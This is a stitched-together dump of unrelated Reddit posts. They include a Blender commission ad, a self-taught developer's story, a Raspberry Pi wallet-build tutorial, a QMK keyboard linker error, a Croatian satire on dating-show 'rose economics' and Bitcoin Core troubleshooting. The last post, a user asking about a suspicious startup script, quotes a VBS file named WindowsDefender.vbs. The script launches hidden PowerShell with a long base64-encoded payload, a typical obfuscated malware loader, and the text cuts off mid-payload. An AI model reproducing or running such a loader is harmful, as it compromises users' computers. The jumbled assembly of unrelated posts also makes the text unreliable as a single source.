build: Remove src/obj directory from repository by laanwj ...

[Commission]Interior House Design (blender files and more)

[Commission]Interior House Design (blender files and more)

fast render!!




~Basic:
-Price: $5-10 USD
-Room with no assets and no material. Just basic empty room.(but has quality design)
-Has window’s, and simple ceiling designs. Along with some inside shelves (built into room)
(Or you can buy 5 files for $10 which is my special *BASIC* deal just reply with SPECIAL DEAL only ONE person will get it!!!)
-You may leave a small description of what you want it to look like.
~Full:
Price: $10-20 USD
-Has assets with materials.
-Has windows, ceiling design, inside shelves built into room.
-Send me an idea of what you want your room to look like and I will reply if I can do so.
Payment options:
-Amazon gift
-eBay gift
-Virtual prepaid vis a
-Bitcoin:
Message:
A great reason for buying my 3d blender files and obj files is because you can integrate your 2d artwork with mine. Lets say your trying to draw an Aesthetic anime vibe but you need that room to look real, or just need an environment, I can do so!! This image shown was something quickly made and can easily be made better.
Payment plan:
1st payment: to start on your project
2nd payment: finale project
Time: about 1 week from the start date. (1 week and 3 days)
For Commissions contact here: [[email protected]](mailto:[email protected])
submitted by Mr_waffl3 to commissions [link] [comments]

Iranian Lawmaker Says Bitcoin Should Be Central Banks Turf (current BTC/USD price is $9,547.68)

Latest Bitcoin News:
Iranian Lawmaker Says Bitcoin Should Be Central Banks Turf
Other Related Bitcoin Topics:
Bitcoin Price | Bitcoin Mining | Blockchain
The latest Bitcoin news has been sourced from the CoinSalad.com Bitcoin Price and News Events page. CoinSalad is a web service that provides real-time Bitcoin market info, charts, data and tools.
submitted by coinsaladcom to CoinSalad [link] [comments]

⟳ 870 apps added, 78 updated at f-droid.org

Notice: this update is spurious, and the issue is being looked at.
⟳ f-droid.org from Wed, 26 Feb 2020 20:21:50 GMT updated on Sun, 01 Mar 2020 05:23:29 GMT contains 2962 apps.
Added (870)
Updated (78)
2020-03-01T05:53:18Z
submitted by BrainstormBot to FDroidUpdates [link] [comments]

Just got my first full time job offer this weekend as a self taught developer!

Beyond excited and honestly looking at the offer email feels surreal! I've completely self taught myself, and it's probably the most dedicated I've been to anything. It's been a little over one year since my first commit to Github, and I can finally say all that time has paid off. Starting the first week of Jan, I am a full time front-end web developer.
I spent a little over the past month applying for jobs, eventually interviewing at two different places within the past two weeks. Imposter syndrome is no joke. I was so nervous to start applying and interviewing, but honestly I just had to do it and kid you not, I got an offer after my second interview for the salary I asked for.
A huge thank you to this sub! I quietly frequent this sub daily and have since I started web development.
Edit: A lot of people are asking how I self taught myself, and while that whole situation could take up a novel, here's the general idea of what I did.
I spent the first 3-4 months really learning CSS. I learned Flexbox, some CSS Grid, responsive design, and SASS. I picked up Bootstrap as well because that's what I saw everyone buzzing about. HTML literally took like two weeks to get the gist of it, so the deeper into CSS I got, the more I spent with HTML, so it kinda worked out like that. This entire time I was just taking websites designs off of Dribbble and Pinterest and building them as non functioning skeletons. Doing that also helped quite a bit with my sense for web design.
After I really learned CSS, I hoped into Javascript and spent the remainder of my time (8-9 months) working with it. I focused on the basics starting out, working with the DOM, using JQuery etc. Moved on to React, Node, and learning ES6. This is when my JS knowledge really took off. Currently, I'm entirely comfortable working with arrays and objects, ES6 obj and array prototypes, asynchronous JS, can explain to you what closures are, can work with JSON, fetch data from API's, know difference between let and const, scope, etc. I can work with Node and most of projects use it. It really really helps to be comfortable with JS. It makes all the other stuff like CSS and HTML seem like a walk in the park in comparison. So build projects with it. If all you ever use it for is to add onClick handlers or classes to DOM elements, then you won't get too advanced with it. KNOWING JAVASCRIPT AS A WEB DEV IS SO DAMN IMPORTANT. My goal is to become a full-stack javascript dev, so I care about it and I'm biased. But I still think it's the most important programming language a web dev should without a doubt be comfortable with.
Also learn Git. Seriously use it for any project your building. Don't just put it off. Use it and learn it from the command line before you download a GUI for it.
I started with a Udemy course, think it was actually the Colt Steele course. I've also followed a couple Wed Bos courses. But I hate following online lessons like that, so I just sorta got the gist of what I should learn and then just started making things. Personally I learn by doing so it's whatever works best for you. Learning by immersion is my tactic! I only ever followed a tutorial to learn something specific for a personal project. Don't add these tutorial projects to your portfolio! You should only use tutorial projects to learn. The biggest key to my success was learning by building stuff! I've got tons of projects on my computer, some done and some half complete. Some look like spaghetti and others I'm proud of. I've freelanced and built a couple Wordpress websites for money in this time. I've also written a couple tutorial articles on Medium as well. If you can write a tutorial about something in terms that a person with little prior knowledge can grasp, you're on the right track.
My portfolio is built with React, Gatsby and GraphQL. It has a blog system set up. I also have an almost ready to deploy full-stack project built with the MERN stack. It's a fleet management application that allows a user to add customers, their customer's fleet vehicles, notes on those vehicles and service intervals on each vehicle for continued notifications. This app was built with my parents company in mind. I also have quite a few React apps in my GitHub. I play golf competitively so I built a golf stat tracking application, I also built a 30-day Bitcoin price tracker and price chart because I've been into crypto for a few years. The gist of this is that I build things that suit my interests. And as mentioned, I've freelanced a couple brochure style Wordpress websites as well as doing random things on Upwork.
When they tell you that learning comes from doing, it is no lie. If you branch out from tutorial projects and make up something on your own, the amount of knowledge you obtain from that is worth way more than any tutorial. If you don't have a full tutorial to hold your hand, you are forced to Google and read. That's the key I think.
I spent on average 3-4 hours almost every weekday working on Web Dev. Some weekends I would work a few hours each day as well, but I'm not the type of person to kill myself with work, so I made sure to take time away from development to focus on my hobbies. Most of my time was spent reading or watching tutorials to learn how to do something specific that would move along a personal project, reading, reading, writing some code, breaking stuff, reading.
Lastly, it's imperative you adopt a mindset that allows for you to realize that no matter what, you will encounter problems. Problems with code, problems with understanding a concept, etc. If you keep at it, overtime you'll realize that you can overcome most any problem thrown your way with persistence and dedication. You can't easily give up. If you give up out of frustration when you encounter a problem or something you can't do yet, then you won't be cut out for this. I've spent literal weeks being stuck on issues, but I've always pushed on and got it sorted. Every time that I figured something out, it added a percentage of confidence to myself. Confidence that assures me that no matter what, I will be able to figure it out. And that's better than acting like you know everything. You won't know everything, it's almost a guarantee. But having confidence in your problem solving skills makes this less scary.
submitted by skidmark_zuckerberg to webdev [link] [comments]

Alive Casino UEFA Champions League Featured Football Games

Alive Casino UEFA Champions League Featured Football Games submitted by 4everyoung1 to AliveCasino_AL [link] [comments]

Report Memcheck Valgrind

Hi Guys,

I'm learning C++ with my personal project and now I'm debugging my application to find the memory leak with Valgrind with QT creator and when It finished I have 42 issues.
Now I'm new with C++ and I have new with Valgrind, can you help me with understanding the problem, please?

This is a screenshot of the problem https://ibb.co/x311ftQ (I couldn't copy the code from the IDE, sorry) and I think that the problem is this function, right?

template inline uint32_t ser_readdata32(Stream &s) { uint32_t obj; s.read((char*)&obj, 4); return le32toh(obj); } # define le32toh(x) __uint32_identity (x) static __inline __uint32_t __uint32_identity (__uint32_t __x) { return __x; } 

I'm working for the developer a new parser for bitcoin core and this is the code of the library of the bitcoin core.

A clarification, in the debugger this error is an External Error, What does it mean?

Sorry if my questions are stupid, thanks so much
submitted by crazyjoker96 to cpp_questions [link] [comments]

Ekonomski sustav u Gospodinu Savršenom

Implikacije ekonomskog sustava ruža u "Gospodinu Savršenom"
2018.
Sažetak:
"Gospodin Savršeni" je televizijska emisija u kojoj muški lik zauzima ulogu potencijalnog mladoženje, a 17 žena se natječe te kroz nekoliko epizoda, Gospodin Savršeni odabire jednu od kandidatkinja kao svoju ljubav. Ovaj članak analizira implikacije ekonomskog sustava ruža predstavljenoga u emisiji. Modelira se pojednostavljeni sustav, proučavaju mogući sukobi te se predstavljaju potencijalna rješenja.
Uvod:
U emisiji se koristi sustav "ruža" - sredstvo pomoću kojega Gospodin Savršeni u svakoj od epizoda odabire neki broj kandidatkinja kojima je sudjelovanje u sljedećoj epizodi zajamčeno. Ruže se u tom smislu mogu poistovjetiti s vrijednosnim papirima: radi se o simboličnim "tokenima" na koje se agenti u ovom ekonomskom sustavu mogu pozvati prilikom tranzicije u sljedeću epizodu. Daljnja će poglavlja razraditi točnu mehaniku dodjele, korištenja te potencijalne transformacije tih ruža.
Mehanika:
Iz predstavljenoga materijala (1), moguće je zaključiti da se ruže dodjeljuju putem centralnog tijela - Gospodina Savršenog. Implicitno je da bi ruže trebale biti dodijeljene isključivo u određenim vremenskim intervalima, no gledatelj redovito svjedoči prijevremenoj dodjeli ruža (npr. Daisy u prvoj epizodi). Iz toga možemo zaključiti da vrijeme dodjele ruža nije bitno, ali se postavlja daljnje pitanje: kako ruža funkcionira kao ekonomsko sredstvo? Odnosno - mogu li ostali agenti osim centralnog tijela (izdavatelja) razmjenjivati ruže? Primjerice, modelirajmo sljedeću seriju transakcija:
Gospodin Savršeni Hana Mirna
U ovom je slučaju Gospodin Savršeni osigurao mjesto za Hanu u sljedećoj epizodi. Ako ona proslijedi ružu Mirni (potencijalno za neko drugo dobro unutar ekonomije, npr. parfema), znači li to da sad Mirna nastavlja u sljedeću epizodu ili je jedini važeći "ugovor" bio onaj izvorni? U daljnjem ćemo tekstu analizirati model ekonomije gdje je daljnja razmjena moguća te ćemo vidjeti koji su sve mogući mehanizmi.
Razmjena među agentima - mogućnosti:
Racionalni ekonomski agenti žele maksimizirati ekonomsku korist. Ako pretpostavimo ovu ekonomsku teoriju racionalnog izbora kao okvir promišljanja o našem modelu, svakoj od kandidatkinja je u interesu osigurati barem jednu ružu po emisiji. No napomenimo da to ne isključuje mogućnost fenomena poznatog kao "HODL" u Bitcoin zajednici - maksimizacije osobnih rezervi sredstva razmjene.
No mogući su i drugi, "tangencijalni" aranžmani - primjerice, stvaranje deriviranih financijskih instrumenata iz ruža. Primjerice, zamislivo je da se agenti i centralni izdavatelj dogovore na način da će se oformiti posebno tijelo ("središnja banka") koja će u svojim rezervama držati fizičke primjere ruža - kao što su to činile banke s rezervama zlata. Iz tih rezervi ruža, moguće je izdavati postotke te ih koristiti kao fiducijarni novac - tzv. "fiat" valuta.
Također je moguće otići u drugome smjeru i, u slučaju nekoliko takvih "banaka", stvoriti indekse vrijednosti zasebnih rezervi ruža, ovisno o političko-ekonomskom stanju banaka. Primjerice, ako ostali agenti utvrde vrlo snažno prijateljstvo između Anezi i Hane (banka "AH"), a tek osrednje ili slabo prijateljstvo između Vahdele i Nandi (banka "VN"), a gdje obje banke drže istu količinu fizičkih ruža, moguć je (štoviše, vjerojatan) pad vrijednosti indeksa VN, usprkos istoj razini rezervi - upravo zato što je stabilnost tih rezervi nepredvidiva!
ZAKLJUČAK:
Predstavljena analiza je tek preliminarni pokušaj utvrđivanja mehanike i kretanja ekonomije u Gospodinu Savršenom. U slučaju mogućnosti daljnje razmjene ruža (nakon originalnog izdavanja), u širokim se crtama sagledavaju implikacije za sudionike u toj ekonomiji. Potrebno je vidjeti nadolazeće epizode za eventualno razrješenje nedoumica.
Napomene:
(1) U vrijeme pisanja ovoga članka, autor je bio na četvrtoj epizodi.
submitted by bauk0 to croatia [link] [comments]

How to install any QT-Wallet on the Raspberry Pi / Pi3B+

Hello and welcome to my first tutorial. Today I will show you how to install almost any QT-wallet on the RaspberryPi. I hope this tutorial will help you. I use the BankSocietyCoin in this tutorial, you can change it also to your fav. Coin.

Install Raspbian , *Buster produced a lot of failures on my system while compiling Wallets*
(my version: https://downloads.raspberrypi.org/raspbian/images/raspbian-2018-03-14/ )
Run the following commands:

Change Swap Size of the Rasp:

sudo nano /etc/dphys-swapfile
change to CONF_SWAPSIZE=2048
press: ctrl o Enter and ctrl x
enable the swap file with its new size:
sudo dphys-swapfile setup
sudo dphys-swapfile swapon
----------
Install Required Dependencies:

apt-get update
sudo apt-get install git build-essential libtool autotools-dev autoconf pkg-config libssl-dev libcrypto++-dev libevent-dev libminiupnpc-dev libgmp-dev libboost-all-dev devscripts libdb++-dev libsodium-dev
and
sudo apt-get install libqt5gui5 libqt5core5a libqt5dbus5 qttools5-dev qttools5-dev-tools libprotobuf-dev protobuf-compiler libcrypto++-dev libminiupnpc-dev qt5-default
----------
Install bitcoin PPA files for the compiling process:

cd /etc/apt/sources.list.d/
sudo nano bitcoin.list
paste to following line:
deb-src http://ppa.launchpad.net/bitcoin/bitcoin/ubuntu artful main
press: ctrl o Enter and ctrl x
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv C70EF1F0305A1ADB9986DBD8D46F45428842CE5E
sudo apt-get update
----------
Install working libssl:

cd && sudo apt-get remove libssl-dev
sudo nano /etc/apt/sources.list
change stretch to jessie
press: ctrl o Enter and ctrl x
sudo apt-get update
sudo apt-get install libssl-dev
sudo apt-mark hold libssl-dev
sudo apt-mark hold libssl1.0.0
sudo nano /etc/apt/sources.list
Change jessie" back to stretch
press: ctrl o Enter and ctrl x
sudo apt-get update
----------

Compile and Install BerkeleyDB 4.8.30 :

wget http://download.oracle.com/berkeley-db/db-4.8.30.NC.tar.gz
sudo tar -xzvf db-4.8.30.NC.tar.gz
cd db-4.8.30.NC/build_unix
sudo ../dist/configure --enable-cxx
sudo make
sudo make install
export CPATH="/uslocal/BerkeleyDB.4.8/include"
export LIBRARY_PATH="/uslocal/BerkeleyDB.4.8/lib"
----------

The wallet:

(my way) mkdir wallets , cd wallets
git clone https://github.com/RGPickles/BankSocietyCoin
cd BankSocietyCoin
chmod 755 src/leveldb/build_detect_platform
chmod 755 src/secp256k1/autogen.sh
cd src/
make -f makefile.unix
./societyd
* for qt wallet*
cd ..
qmake
make
edit society.conf in .society
(rpcuser=SomeCoolRandomUsername
rpcpassword=SOMETHINawesomeYOUdontHaveToRemember
rpcconnect=127.0.0.1
save.
./society-qt
----------

Have fun!
for a Beer - Donations ;)
SOCI - Si6V7EwnJqzmFiNGHSbXrtWUXKH6F4EFm3
BTC - 1HpGF4wMzztpJ4KT4o2ySFvnLJ4gCoYaV5
LTC - LS22MgY9G4KbaKhkR5dFi995MbcQhuyDXW
ETH - 0x6b5EdC3e58Fd84a40aa942964690adA91C398075
TRX - TKBpktt5QQ9WV57QjonQrGr1vmKLCVQBL6

13.07.2019 DennisHilk




**********
if error (makefile.unix:200: obj/rpcclient.o] appears)
[This first step is necessary because you will get linking errors if you don't remove the old Boost library]
sudo apt remove --purge --auto-remove libboost-dev libboost-thread-dev libboost-system-dev libboost-atomic-dev libboost-regex-dev libboost-chrono-dev
mkdir boost
cd boost
wget https://dl.bintray.com/boostorg/release/1.64.0/source/boost_1_64_0.tar.gz
tar xfz boost_1_64_0.tar.gz (can take rly long, dont worry)
cd boost_1_64_0/
./bootstrap.sh
./b2 stage threading=multi link=static --with-thread --with-system
sudo ./b2 install threading=multi link=static --with-thread --with-system
cd ../../
nano .bash_profile
export LIBS="-L/home/YOURS/boost/boost_1_64_0/stage/lib"
export CPPFLAGS="-I/home/YOURS/boost/boost_1_64_0"
cd society root
make clean
cd src
sudo make -f makefile.unix

(if bignum error)
sudo apt-get install libgmp-dev
or delete opensll and reinstall as above.
submitted by dennishilk to u/dennishilk [link] [comments]

Linker error: Tap dance related... maybe?

Once again I shall come to you my dear sirs and madams for rescue! Finally everything complies but now the linker is acting up...
***userspace/rumlyne.c #include "quantum.h" #include "process_keycode/process_tap_dance.h" //#include "action_layer.h" #include "rumlyne.h" #include "nqadnw_basic_layout.h" --- ***userspace/rumlyne.h#pragma once #ifndef RUMLYNE_H #define RUMLYNE_H #include "keymap_german.h" #include  #include "quantum.h" #include "action.h" ---insert many many definitions and stuff that apparently works because it is tap dance functions that seems to bother the linker--- #ifdef TAP_DANCE_ENABLE enum /*tap_key*/ { QOT = 0, CUR, TLD, AT, PAR, SDO, APT, PCM, GUI, UCS, AF4, GTN, GTW, EML, BYE, BR1, //bracket 1,2,3,4 BR2, BR3, BR4, ARH, //arrow H,J,K,L ARJ, ARK, ARL }; #endif // TAP_DANCE_ENABLE enum userspace_layers { _BASE = 0, // Programmer BUX // default _JPNS, // 2 // Japanese Kana layout based on esrilles new stickney layout // TODO FUTURE _CODE, // 3 // Code friendly layer _STD, // 4 // QWERTZ, QWERTY, AZERTY, etc. _RAISE_L, // _RAISE when accessed via left MOD // BuT based symbol layer _RAISE_L_C, // _RAISE when accessed via left MOD on _CODE layer _RAISE_R, _RAISE_R_C, _LOWER_L, _LOWER_L_C, _LOWER_R, _LOWER_R_C, _LEFT, _LEFT_C, // _LEFT when pressed on _CODE layer _RIGHT // NUM+ // _RIGHT_C }; // NQADNW specific layer MODs #define RS_L LT(_RAISE_L, KC_SPC) // access _RAISE via left MOD #define RS_L_C LT(_RAISE_L_C, KC_SPC) // access _RAISE_C via left MOD on _CODE layer #define RS_R LT(_RAISE_R, KC_DOT) // access _RAISE via right MOD #define RS_R_C LT(_RAISE_R_C, KC_DOT) // access _RAISE_C via right MOD on _CODE layer #define LW_L LT(_LOWER_L, KC_COMM) // access _LOWER via left MOD #define LW_L_C LT(_LOWER_L_C, KC_COMM) // access _LOWER_C via left MOD on _CODE layer #define LW_R LT(_LOWER_R, KC_ENT) // access _LOWER via right MOD #define LW_R_C LT(_LOWER_L_C, KC_ENT) // access _LOWER_C via right MOD on _CODE layer #define LEFT TT(_LEFT) #define RIGHT LT(_RIGHT, /*TG(_RIGHT)*/KC_NO) // TODO FUTURE //#define CODE TT(_CODE) ---imsert many many definitions and stuff that apparently works because it is tap dance functions that seems to bother the linker--- // String keycodes & dynaminc macro dependancy enum more_custom_keycodes { DYNAMIC_MACRO_RANGE = NEW_SAFE_RANGE, // necessary for dynamic macros according to QMK guide KS_00, NEW_NEW_SAFE_RANGE }; char ST_EML_UNAME1[10] = "xxxxxxxxxx"; char ST_EML_UNAME2[17] = "xxxxxxxxxxxxxxxxx"; char ST_EML_UNAME3[7] = "rumlyne"; // :) char ST_EML_DOMAIN1[9] = "xxxxxxxxx"; char ST_EML_DOMAIN2[6] = "xxxxxx"; char ST_EML_DOMAIN3[6] = "xxxxxx"; char ST_EML_DOMAIN4[6] = "xxxxxx"; char ST_DNUL[2] = "00"; char ST_SUDO[5] = "sudo "; char ST_DFNE[8] = "#define "; char ST_INCL[9] = "#include "; char ST_APIS[16] = "apt-get install "; char ST_APUD[15] = "apt-get update "; char ST_APUG[16] = "apt-get upgrade "; char ST_PMNS[10] = "pacman -S "; char ST_PSYU[12] = "pacman -Syu "; char ST_PSYY[14] = "pacman -Syyuu "; static const char ST_SGDH[31] = {"Sehr geehrte Damen und Herren, "}; static const char ST_LKUK[32] = {"Liebe Kolleginnen und Kollegen, "}; static const char ST_MFG1[20] = {"Mit freundlichen Gr["}; // siehe quantum/keymap_extras/sendstring_german char ST_MFG2[2] = "n "; char ST_HAVL[17] = "Hochachtungsvoll "; char ST_DSOM[19] = "Dear sir or madam, "; char ST_DRCS[16] = "Dear collegues, "; char ST_BTRS[14] = "Best regards, "; /* static const char * const ST_DEGR[31] = { "Sehr geehrte Damen und Herren, ", "Liebe Kolleginnen und Kollegen, ", "Mit freundlichen Grüßen " }; */ #ifdef UNICODE_ENABLE enum unicode_name { //UST_HBR, // //UST_DEG, // //UST_LIR, // UST_BIT, // ₿ Bitcoin //UST_EUR, // € UST_BPN, // £ UST_YEN, // ¥ UST_TMK, // ™ UST_RTM, // ® UST_CPR // © }; const uint16_t PROGMEM unicode_map[] = { //16 genug? //[UST_HBR] = 0x0127, //[UST_DEG] = 0x00B0, //[UST_LIR] = 0x20BA, [UST_BIT] = 0x20BF, // ₿ Bitcoin //[UST_EUR] = 0x20AC, // € [UST_BPN] = 0x00A3, // £ [UST_YEN] = 0x00A5, // ¥ [UST_TMK] = 0x2122, // ™ [UST_RTM] = 0x00B0, // ® [UST_CPR] = 0x00AE // © }; #endif // UNICODE_ENABLE bool process_record_user(uint16_t keycode, keyrecord_t *record) { // send strings, send even more strings when tap dance is disabled switch(keycode) { case KS_00: if (record->event.pressed) { send_string(ST_DNUL); return false; } } return true; }; // Tap dance events // ' " void td_quot_dqot (qk_tap_dance_state_t *state, void *user_data) { if (state->count == 1) { clear_mods(); //tap_code(DE_QUOT); register_code(KC_LSFT); tap_code(KC_BSLS/*DE_HASH*/); unregister_code(KC_LSFT); } else if (state->count == 2) { clear_mods(); //tap_code(DE_DQOT); register_code(KC_LSFT); tap_code(KC_2); unregister_code(KC_LSFT); } else if (state->count == 3) { clear_mods(); //tap_code(DE_DQOT); //tap_code(DE_DQOT); register_code(KC_LSFT); tap_code(KC_2); tap_code(KC_2); unregister_code(KC_LSFT); tap_code(KC_LEFT); } else if (state->count == 4) { clear_mods(); //tap_code(DE_QUOT); //tap_code(DE_QUOT); register_code(KC_LSFT); tap_code(KC_BSLS/*DE_HASH*/); tap_code(KC_BSLS/*DE_HASH*/); unregister_code(KC_LSFT); tap_code(KC_LEFT); } else if (state->count >= 5) { reset_tap_dance(state); } reset_tap_dance(state); }---And so on--- qk_tap_dance_action_t tap_dance_actions[] = { [QOT] = ACTION_TAP_DANCE_FN(td_quot_dqot), ---and so on--- }; #endif // rumlyne.h 
With make idobo:rumlyne it successfully compiles everything until shit hits the fan when it the linker engages:
Compiling: users/rumlyne/rumlyne.c [OK] Compiling: keyboards/idobo/keymaps/rumlyne/keymap.c [OK] Linking: .build/idobo_rumlyne.elf [ERRORS] | | .build/obj_idobo_rumlyne/keyboards/idobo/keymaps/rumlyne/keymap.o (symbol from plugin): In function `td_quot_dqot': | (.text+0x0): multiple definition of `td_quot_dqot' | .build/obj_idobo_rumlyne/rumlyne.o (symbol from plugin):(.text+0x0): first defined here ---and so on---- | .build/obj_idobo_rumlyne/rumlyne.o (symbol from plugin):(.text+0x0): first defined here | .build/obj_idobo_rumlyne/keyboards/idobo/keymaps/rumlyne/keymap.o (symbol from plugin): In function `td_quot_dqot': | (.text+0x0): multiple definition of `unicode_map' | .build/obj_idobo_rumlyne/rumlyne.o (symbol from plugin):(.text+0x0): first defined here | .build/obj_idobo_rumlyne/keyboards/idobo/keymaps/rumlyne/keymap.o (symbol from plugin): In function `td_quot_dqot': | (.text+0x0): multiple definition of `ascii_to_keycode_lut' | .build/obj_idobo_rumlyne/rumlyne.o (symbol from plugin):(.text+0x0): first defined here | .build/obj_idobo_rumlyne/keyboards/idobo/keymaps/rumlyne/keymap.o (symbol from plugin): In function `td_quot_dqot': | (.text+0x0): multiple definition of `ascii_to_shift_lut' | .build/obj_idobo_rumlyne/rumlyne.o (symbol from plugin):(.text+0x0): first defined here | collect2.exe: error: ld returned 1 exit status | make[1]: *** [tmk_core/rules.mk:299: .build/idobo_rumlyne.elf] Errors 1 Make finished with errors make: *** [Makefile:544: idobo:rumlyne] Errors 1 
I have no idea what this is about and a quick google search didn't reveal much. Let me know if you need to see the other headers/full config/.build folder.

Edit: compiling in a newly installed instance of msys on win7.
Edit2: Here and here are the links to github
Edit3 2019-02-05: by using static const char when defining my "strings" I got the linker errors down to the last 2 parts regarding ascii_to_keycode_lut & ascii_to_shift_lut which are a result of including . Without it it compiles but of course the "strings" sent will be incorrect.

submitted by rumlyne to olkb [link] [comments]

Trying to salvage some coins from 2013. Core (bitcoin-qt.exe v0.8.1-beta on Windows 8.1) is taking weeks to DL the blockchain as expected but keeps crashing now. Can I upgrade to a newer version without losing what I've gotten already (about 75% complete)?

Currently there are 134305 blocks remaining. When I start it up it works pretty smoothly for a while but then slows down. I leave it running while I'm gone but the last several days when I've come back it has crashed and gives me an I/O error, and I have to hit OK then start it back up. It does appear to be further along when I start it back up but not by a whole lot. So this has really slowed my progress. It's reindexed about 75% though, and so I don't want to start over from the beginning.
The drive it is on has ~400gb of free space so that's not the issue. I have 8gb of memory, and the task manager says bitcoin is taking up about 500mb, but it's using 60-85% of my cpu at a time.
If I download a newer version of core, I can just copy/paste the old wallet.dat file, right? But wouldn't it have to start downloading the entire blockchain again from the beginning? If so, is there any quicker method?
While typing this, it crashed twice. It only runs for about 10 minutes.
The version I have doesn't have any settings I can change. I read that there's a db size limit you can change in later versions that could help. This one does have a "debug window" with a command line console but I don't really know what to do with it. Here is a list of available commands: 
addmultisigaddress <'["key","key"]'> [account]
addnode
backupwallet
createmultisig <'["key","key"]'>
createrawtransaction [{"txid":txid,"vout":n},...] {address:amount,...}
decoderawtransaction
dumpprivkey
encryptwallet
getaccount
getaccountaddress
getaddednodeinfo [node]
getaddressesbyaccount
getbalance [account] [minconf=1]
getblock
getblockcount
getblockhash
getblocktemplate [params]
getconnectioncount
getdifficulty
getgenerate
gethashespersec
getinfo
getmininginfo
getnewaddress [account]
getpeerinfo
getrawmempool
getrawtransaction [verbose=0]
getreceivedbyaccount [minconf=1]
getreceivedbyaddress [minconf=1]
gettransaction
gettxout [includemempool=true]
gettxoutsetinfo
getwork [data]
help [command]
importprivkey [label] [rescan=true]
keypoolrefill
listaccounts [minconf=1]
listaddressgroupings
listlockunspent
listreceivedbyaccount [minconf=1] [includeempty=false]
listreceivedbyaddress [minconf=1] [includeempty=false]
listsinceblock [blockhash] [target-confirmations]
listtransactions [account] [count=10] [from=0]
listunspent [minconf=1] [maxconf=9999999] ["address",...]
lockunspent unlock? [array-of-Objects]
move [minconf=1] [comment]
sendfrom [minconf=1] [comment] [comment-to]
sendmany {address:amount,...} [minconf=1] [comment]
sendrawtransaction
sendtoaddress [comment] [comment-to]
setaccount
setgenerate [genproclimit]
settxfee
signmessage
signrawtransaction [{"txid":txid,"vout":n,"scriptPubKey":hex,"redeemScript":hex},...] [,...] [sighashtype="ALL"]
stop
submitblock [optional-params-obj]
validateaddress
verifymessage

submitted by closer_to_the_flame to Bitcoin [link] [comments]

Localbitcoisn API lat/long parameters

I'm trying to get cash trades using bitcoin API .
The Localbitcoins API says y should use: /buy-bitcoins-with-cash/{location_id}/{location_slug}/.json
Using the python library when I use this: cash_trades=conn.call('GET', '/buy-bitcoins-with-cash/').json() or this cash_trades=conn.call('GET', '/buy-bitcoins-with-cash/4.692803/-74.034325/').json() I get the following error:
File "C:\Users\Chuox\Anaconda3\lib\site-packages\requests\models.py", line 897, in json
return complexjson.loads(self.text, **kwargs)
File "C:\Users\Chuox\Anaconda3\lib\json\__init__.py", line 348, in loads
return _default_decoder.decode(s)
File "C:\Users\Chuox\Anaconda3\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Users\Chuox\Anaconda3\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
Thanks anyone that could help ;)
submitted by Chuox69 to localbitcoins [link] [comments]

Do you need developers?

No Rest Labs is looking for projects to contribute our skills to. We are a growing international team of over 40+ blockchain and smart contract engineers. Formed over 6 years ago, with an average of 8 years of computer science experience and 3 years blockchain experience, we are hungry for the next project to make successful. We look to build projects from the ground up or come into an existing project that may need professional help which falls into our services or expertise. We would be excited to hear everyone's ideas and to see if we would be a good fit for collaboration, So please take a look at our website to see past and present projects and contact us.
Skilled inside Blockchain - ICO's, KYC, Exchanges, Wallets and Protocols
Skilled outside - Web apps, Mobile, API's, Machine Learning and Embedded
Diversely skilled team Across Multiple Languages (and frameworks)
JavaScript (Node/React/Angular) Python (Django/AppEngine) Serpent Ruby (Rails) C/C++ (ARM) Golang Java (EE/Spring/Android) ObjC/Swift/React Native (iOS/Android) Solidity (DAPP Tools/Truffle) PHP (Laravel/Symphony) C# (.NET)
Across Technologies AWS/GCE SQL (MySQL/Postgres/MariaDB/SQL Server) Redis Neo4j VR & AI SPARQL Databases (TDB/Fuseki) Firebase Cassandra BigChainDB Machine Learning
Across Blockchains Bitcoin Ethereum / ERC20 Hyperledger Litecoin NEO Stellar EOS ICON
Services Blockchain Product Development and Support
Smart Contract Development ICOs KYC/Tokensale Registration Blockchain Integration Wallets Backend Development Blockchain/Protocol Development Decentralized/Centralized Exchanges SDKs / API’s DevOps Web/Mobile Development Layer2/Infrastructure/Dapps
Contact information: email: [email protected] telegram: @norestlabs linkedin: https://www.linkedin.com/in/mariya-leshchenko/
ALSO, BE SURE TO CHECK OUT OUR OPEN SOURCE TOOLKIT
submitted by NoRestLabs to BitcoinJobs [link] [comments]

WindowsDefender.vbs on C:\Users\Public\Libraries -- is this the real Windows Defender?

As some of you know, vbs files are always suspicious, all the script-kiddy level viruses are in vbs, and I have a suspicion that this file is not a real Windows Defender.
This VBS is assigned as startup programs along with Windows Defender notification, but the publisher is not specified (Windows Defender notification does have a publisher of Microsoft Corporation)
Source:
Dim objShell Set objShell = CreateObject("WScript.Shell") pscm = "powershe" & _ "ll -window hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAWABlADIALwBhAHkAaABMAC8ATwAzAHcASwA2AHkAaQBTAGIAWgBYAHcAVABrADUAYQBxAFYATABYAGcASABtAFUAVgB6AEQAWQBKAEIAeQBFAEYAdQA5AGkARgB0AFoAZQBhAHEAOQBEAHkARwBtAC8AKwB4ADAAYgBhAE8AbABOAGUAbQA2AE8ASwBsADEATABsAHQAYQA3AE0ANwBNAHoAdgAzAG4AYQBvAHYATABLAGsAaQBGAHoAWgBWAGMAUQBx" & _ "AGwAegBaAE4ASQB5AFkAQwBKAFIAUwBKAG4ATgBaAEUAeQAyAHAAZgBGAFEAKwBxAFoAbABsAEgATABnAHkAMgBVADQAVwBjADQALwBLACsAVABZAFUANwBoAHcAVABFAHQASQBvAFUAdgA3AE8AWABBAHgAdwBpAEgAMQBGAHUAMwB6AEUANABkAHcAWABKAE8AWQAwAHEANgBRAGYAQwBTAEUAbABjAFUAagAxAGkANAB2AE0AUgBiAG8AVgBCAHgARgBlADAAbgBtAEEASgBYAHUAawBjADUALwBLAGwAUwBBAFIAWABLAFIATgAwAFgAWgBiAEUAegA1AG0AdwBlAHoARABoADIAbwBjAGgAagBTAFEAaAArADkAYwBnADAAbwBVAFIAZABSAGYAYwBFAFkAagBUAFYAZQArAEsAcwA2AEsAaAB2AFMAcQB2ADEAaABUAFYA" & _ 